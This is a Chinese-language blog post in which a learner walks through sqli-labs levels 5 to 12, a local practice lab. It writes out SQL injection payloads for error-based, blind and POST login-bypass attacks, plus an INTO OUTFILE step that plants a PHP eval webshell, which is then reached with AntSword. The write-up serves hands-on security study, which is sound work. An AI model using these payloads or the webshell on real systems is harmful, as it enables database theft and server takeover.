前言

Web题中SQL注入是最重要的类型之一。之前只是简单的了解, SQL注入对于我这样的新手来说可能会有一点难度,当时学的时候学习了sqli-labs的前四关,现在重新捡起,继续打。

第五关

目前我了解到两种方法。

第一种方法——报错型注入

旧方法

肯定是有注入的,所以判断是否有注入就省去了。判断闭合符号是单引号

?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

可报错并显示出数据库。
sqli-labs闯关续(5--12)_数据库
显示表名,

?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))--+

sqli-labs闯关续(5--12)_数据库_02
爆列名

?id=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))--+

sqli-labs闯关续(5--12)_上传_03
爆数据:

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users),0x7e),1))--+

sqli-labs闯关续(5--12)_php_04
没显示完,还有下一步,再爆后面的数据,用mid函数。

?id=1' and (updatexml(1,concat(0x7e,mid((select group_concat(username) from users),32),0x7e),1))--+

sqli-labs闯关续(5--12)_php_05

新get

还有一个语句可以实现,看到了就顺便总结下来:
爆数据库名:

?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

sqli-labs闯关续(5--12)_数据库_06
爆表名,可以通过limit函数爆出目标数据表名:

?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+

sqli-labs闯关续(5--12)_上传_07
爆列名,同样是用limit函数进行选择列爆破:

?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

sqli-labs闯关续(5--12)_上传_08
爆数据值:

?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+

sqli-labs闯关续(5--12)_表名_09

第二种——盲注

判断数据库长度

?id=1' and length(database())>0--+
?id=1' and length(database())=8--+

sqli-labs闯关续(5--12)_数据库_10
数据库长度判断出来,下一步爆库名

?id=1' and ascii(substr(database(),1,1)=83)--+

sqli-labs闯关续(5--12)_表名_11
这样判断太慢,直接burp爆破就行,之前尝试的burp爆破是一个post类型,这次是get类型,所以就再总结一下

?id=1' and ascii(substr((select database() limit 1,1),1,1))=100--+

sqli-labs闯关续(5--12)_php_12
设置好开始爆破
sqli-labs闯关续(5--12)_数据库_13
然后放到一个转ascii码的小工具里转换
sqli-labs闯关续(5--12)_php_14
可以爆出数据库名。
其他的只需改动语句,爆破方式一样。只是比较慢。
脚本暂时还不会写,先放着,学会了再补充。

第六关

双引号闭合,其他的与第五关相同,照抄OK。

第七关

对于我来说时一种新的注入方式,
判断闭合符号。

?id=1'))

sqli-labs闯关续(5--12)_表名_15
闭合符号是')),试着上传一句话木马,
路径不知道,先拿个简单关查看下路径(做题的时候要靠自己找,刚了解到,我也没见过这类题,所以见到再说)
payload

?id=-1 union select 1,@@basedir,@@datadir --+

sqli-labs闯关续(5--12)_xml_16
payload

?id=1')) union select 1,2,'<?php @eval($_POST["lxj"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\lxj.php"--+

sqli-labs闯关续(5--12)_php_17
回显报错了,看师傅们的博客是:虽然报错了,但是在本地文件是可以看到上传成功的,可是为什么我的就没有。
sqli-labs闯关续(5--12)_数据库_18
奇怪,啥都没有。再百度看了好几篇博客,终于找到了解决办法,是我本地的mysql没有写入权限。所以没有办法上传成功,解决办法也是尝试过好几遍才对了。
解决办法如下:
打开mysql目录找到my.in这个文件,
sqli-labs闯关续(5--12)_php_19

打开这个文件:添加secure-file-priv =""保存
一般出现没有写入权限的问题的应该就是缺少了。直接加一个就行。(反正我的是没有这句话。)只针对这一种情况,其他的不好说。sqli-labs闯关续(5--12)_数据库_20
然后再重新写入php文件,但是再看还是没有任何东西,然后又查百度,找了三四遍博客终于让我找到了我错在哪里了。原来就是一个低级错误,保存之后记得重新启动mysql。再次上传php就行。
这次就上传成功了。
sqli-labs闯关续(5--12)_xml_21
运行一下看看,
sqli-labs闯关续(5--12)_数据库_22
可以,那就用菜刀或者蚁剑连接。
http://127.0.0.1/sqli-labs-master/Less-13/
添加成功,连上了。
sqli-labs闯关续(5--12)_表名_23
查看一下
sqli-labs闯关续(5--12)_xml_24
ok木得问题,过关。

第八关

这道题是布尔盲注
看题目单引号闭合,试一下
sqli-labs闯关续(5--12)_php_25
但是这道题可以使用第七关的方法上传一个木马,用蚁剑或菜刀连接。步骤略,看结果
sqli-labs闯关续(5--12)_上传_26
看了可以,那就不管它了。
在回头说盲注,盲注是布尔盲注,可以用手注,也可以用burp爆破。跟第五关差不多,不再重复

第九关

看题是基于单引号闭合的时间盲注
反正也没事试一遍,发现确实是不管payload是什么,都会回显You are in ......
想起来之前第九关和第十关差不多,第十关以前总结过,再回头看一下。就不再重新写一遍了。
只是第十关是双引号闭合,其他的一样,没什么差别。
额咳咳,出于好奇,我又闲着试试,第九关能不能传入木马,结果还真成功了
sqli-labs闯关续(5--12)_上传_27
啊哈,意外之喜。第十关应该也行。

第十关

只标题。就试试可不可以传入木马就行了,顺便连接一下。
sqli-labs闯关续(5--12)_php_28
蚁剑连接
sqli-labs闯关续(5--12)_表名_29
成功了,开心哈。

第十一关

从这一关往后是post类型的注入。之前只了解过万能密码
随便输入账户密码都输入admin,登录成功。
sqli-labs闯关续(5--12)_php_30
然后再输入账户lalala密码1234,发现有报错,
sqli-labs闯关续(5--12)_数据库_31
这就能证明本关的确是报错注入。

第一种姿势

万能密码
username:admin'#,密码随意。
sqli-labs闯关续(5--12)_表名_32
爆数据库

admin' and extractvalue(1,concat(0x7e,database(),0x7e))#
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

两句均可,就全部记了下来,网上大佬的博客很多,不同的姿势也好几个,这里暂时总结几种我学会的吧。
sqli-labs闯关续(5--12)_上传_33
爆数据表名

admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#

limit决定爆哪个表
sqli-labs闯关续(5--12)_php_34
第三个表爆出users,可进行下一步,爆列名

admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e))#

sqli-labs闯关续(5--12)_上传_35

admin' and extractvalue(1,concat(0x7e,(select username from users limit 1,1),0x7e))#

limit决定爆哪个信息
sqli-labs闯关续(5--12)_数据库_36

第二种姿势

随便构造账户名和密码。然后进行抓包
sqli-labs闯关续(5--12)_表名_37
发送到Repeater

uname=admin' and 1=1%23 &passwd=1234&submit=Submit

sqli-labs闯关续(5--12)_表名_38
爆数据库名

uname=0' union select 1,database()%23 &passwd=admin&submit=Submit

sqli-labs闯关续(5--12)_php_39
爆表名

uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'%23 &passwd=admin&submit=Submit

sqli-labs闯关续(5--12)_表名_40
爆出四张表,然后根据前几关的套路可查询users

uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23 &passwd=admin&submit=Submit

sqli-labs闯关续(5--12)_xml_41
同时查询usernamepassword

uname=0' union select group_concat(username),group_concat(password) from users%23 &passwd=admin&submit=Submit

sqli-labs闯关续(5--12)_表名_42
得到这么多数据。get!!

第十二关

闭合方式不同,此关是双引号闭合。步骤与十一关相同。
先学习到这里,沉淀一下,消化消化新知识。继续加油!